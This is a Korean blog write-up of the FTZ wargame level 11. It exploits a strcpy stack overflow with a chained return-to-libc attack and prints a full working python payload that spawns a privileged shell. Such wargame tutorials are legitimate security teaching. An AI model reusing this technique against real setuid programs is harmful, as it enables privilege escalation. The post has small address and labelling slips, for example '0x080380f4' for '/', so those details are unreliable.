FTZ level11 #4 ( Chaining RTL )

c0wb3ll ㅣ 2020. 3. 9. 01:45

FTZ Level11 #4 ( Chaining RTL )

문제

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
    char str[256];

    setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    printf( str );
}

FTZ level 11의 소스코드이다. 이 소스코드에서 취약한 점을 발견하여 상위권한( level12 )을 얻어 비밀번호를 알아내야 한다.


취약점

int main( int argc, char *argv[] )
{
    char str[256];

    #setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    #printf( str );
}
  1. 인자 입력은 argv로 받는다. 또한 길이의 제한은 없다.
  2. str 의 크기는 256이다.
  3. strcpy() 함수를 통해 argv에서 입력받은 인자를 str로 가져온다. 정해진 최대 바이트는 없다.

따라서 argv에서 인자 입력을 할 때 256byte 이상의 문자열을 입력하면 str의 버퍼 크기를 넘어 메모리를 덮어씌울 수 있다.


공격 시나리오

level11은 취약한 부분이 많아서 다양한 공격을 할 수 있는 레벨이다.

  1. 환경 변수를 이용한 공격
  2. Nop Sled 기법을 이용한 공격
  3. RTL 기법을 이용한 공격
  4. Chanining RTL 기법을 이용한 공격 <- 이번 포스팅
  5. FSB ( Format String Bug )를 이용한 공격

Chaining RTL

저번 RTL 포스팅에서는 system()을 호출하여 명령어를 전달하였는데 이 명령어를 전달하기 위해 외부에서 ( 환경변수 라든가, 다른데서 "/bin/sh"문자열을 찾든가 ) 가져왔어야 했다.

그렇다면 이번에는 명령어를 메모리에서 획득해 system()함수로 전달하는 방법을 써보려 한다.

어떻게?

저번에는 /bin/sh를 다른데다 등록하고 그 주소를 인자로 하여 넘겨주었는데 이번에는 RTL을 연속적으로 이용하여 "/"따로 "b", "i", "n", "s", "h" 를 각각 가지고와 문자열을 만들어 주는 것이다.

ret까지 더미 바이트로 채워주고 ret에는 strcpy()함수의 주소를 그 뒤에 pop pop ret주소 그리고 strcpy는 인자로 "쓰여질 메모리 주소","복사할 문자열 주소"를 받기 때문에 각각 해당하는 주소를 써objdump준다.이걸 연속적으로 사용해주면 된다.


풀이

우리가 찾아야 할 것은 3가지가 있다.

  1. system()의 주소
  2. pop pop ret
  3. 넣어줄 문자열
  4. 복사한 문자열을 옮길 주소

system()주소는 저번에 찾은 0x804835c를 그대로 이용하겠다.

2. pop pop ret 찾기

pop pop ret 는 다음 명령어로 찾을 수 있다.

[level11@ftz level11]$ objdump -d attackme | grep pop -A 2 | grep ret -B 2
--
 804841b:    5d                       pop    %ebp
 804841c:    c3                       ret    
--
--
 8048428:    5d                       pop    %ebp
 8048429:    c3                       ret    
--
--
 8048456:    5d                       pop    %ebp
 8048457:    c3                       ret    
--
--
 8048468:    5d                       pop    %ebp
 8048469:    c3                       ret    
--
 80484ed:    5b                       pop    %ebx
 80484ee:    5d                       pop    %ebp
 80484ef:    c3                       ret    
--
--
 80484f8:    5d                       pop    %ebp
 80484f9:    c3                       ret    
[level11@ftz level11]$ 

pop pop ret는 80484ed를 사용하면 될 것 같다.

3. 넣어줄 문자열 찾기

[level11@ftz level11]$ objdump -s attackme | grep / --color=auto
 80480f4 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so

다음과 같은 명령어를 치면 /를 포함한 내용이 나온다. 우리가 찾아야할 문자열은 "/","b","i","n","s","h","\x00"이다.

  1. "/" : 0x080380f4
  2. "b" : 0x080480f7
  3. "i" : 0x080480f6
  4. "n" : 0x080480fe
  5. "s" : 0x08048102

h가 남았으므로 h를 찾아보자

[level11@ftz level11]$ objdump -s attackme | grep h --color=auto
Contents of section .hash:
 804830c ff252096 04086800 000000e9 e0ffffff  .% ...h.........
 804831c ff252496 04086808 000000e9 d0ffffff  .%$...h.........
 804832c ff252896 04086810 000000e9 c0ffffff  .%(...h.........
  1. "h" : 0x08048312
  2. "\x00" : 0x08048313

다 찾았으니 이제 이것들을 쓸 영역을 찾아보자.

4. 복사할 주소 찾기

문자열이 들어갈 메모리 주소의 조건은 쓰기권한이 있으며, 주소값이 바뀌지 않아야 한다. 이러한 조건을 충족하는 메모리 공간은 data, bss, dynamic 등이 있다.

[level11@ftz level11]$ readelf -S attackme 
There are 29 section headers, starting at offset 0x2a04:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        080480f4 0000f4 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048108 000108 000020 00   A  0   0  4
  [ 3] .hash             HASH            08048128 000128 000038 04   A  4   0  4
  [ 4] .dynsym           DYNSYM          08048160 000160 000090 10   A  5   1  4
  [ 5] .dynstr           STRTAB          080481f0 0001f0 00008a 00   A  0   0  1
  [ 6] .gnu.version      VERSYM          0804827a 00027a 000012 02   A  4   0  2
  [ 7] .gnu.version_r    VERNEED         0804828c 00028c 000020 00   A  5   1  4
  [ 8] .rel.dyn          REL             080482ac 0002ac 000008 08   A  4   0  4
  [ 9] .rel.plt          REL             080482b4 0002b4 000030 08   A  4   b  4
  [10] .init             PROGBITS        080482e4 0002e4 000018 00  AX  0   0  4
  [11] .plt              PROGBITS        080482fc 0002fc 000070 04  AX  0   0  4
  [12] .text             PROGBITS        08048370 000370 000190 00  AX  0   0 16
  [13] .fini             PROGBITS        08048500 000500 00001e 00  AX  0   0  4
  [14] .rodata           PROGBITS        08048520 000520 000008 00   A  0   0  4
  [15] .data             PROGBITS        08049528 000528 000010 00  WA  0   0  4
  [16] .eh_frame         PROGBITS        08049538 000538 000004 00  WA  0   0  4
  [17] .dynamic          DYNAMIC         0804953c 00053c 0000c8 08  WA  5   0  4
  [18] .ctors            PROGBITS        08049604 000604 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        0804960c 00060c 000008 00  WA  0   0  4
  [20] .got              PROGBITS        08049614 000614 000028 04  WA  0   0  4
  [21] .bss              NOBITS          0804963c 00063c 000018 00  WA  0   0  4
  [22] .stab             PROGBITS        00000000 00063c 0007a4 0c     23   0  4
  [23] .stabstr          STRTAB          00000000 000de0 001983 00      0   0  1
  [24] .comment          PROGBITS        00000000 002763 00014a 00      0   0  1
  [25] .note             NOTE            00000000 0028ad 000078 00      0   0  1
  [26] .shstrtab         STRTAB          00000000 002925 0000de 00      0   0  1
  [27] .symtab           SYMTAB          00000000 002e8c 0004e0 10     28  3a  4
  [28] .strtab           STRTAB          00000000 00336c 000239 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
[level11@ftz level11]$ 

readelf 명령어로 bss의 위치가 0x0804963c 인 것을 알 수 있다.

익스 코드 짜기

[ret까지 더미 바이트] + [&strcpy()] + [&(pop pop ret)] + [bss주소+0] + [쓰여질 문자] + [&strcpy()] + [... bss주소 1씩 추가하며 문자열 끝날 때 까지 반복] + [&system()] + [\x90]*4 + [bss주소+0] 로 짜면 된다.

[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*268+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3c\x96\x04\x08"+"\xf4\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3d\x96\x04\x08"+"\xf7\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3e\x96\x04\x08"+"\xf6\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3f\x96\x04\x08"+"\xfe\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x40\x96\x04\x08"+"\xf4\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x41\x96\x04\x08"+"\x02\x81\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x42\x96\x04\x08"+"\x12\x83\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x43\x96\x04\x08"+"\x13\x83\x04\x08"+"\xc0\xf2\x03\x42"+"\x90"*4+"\x3c\x96\x04\x08"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "비밀번호패스워드".

sh-2.05b$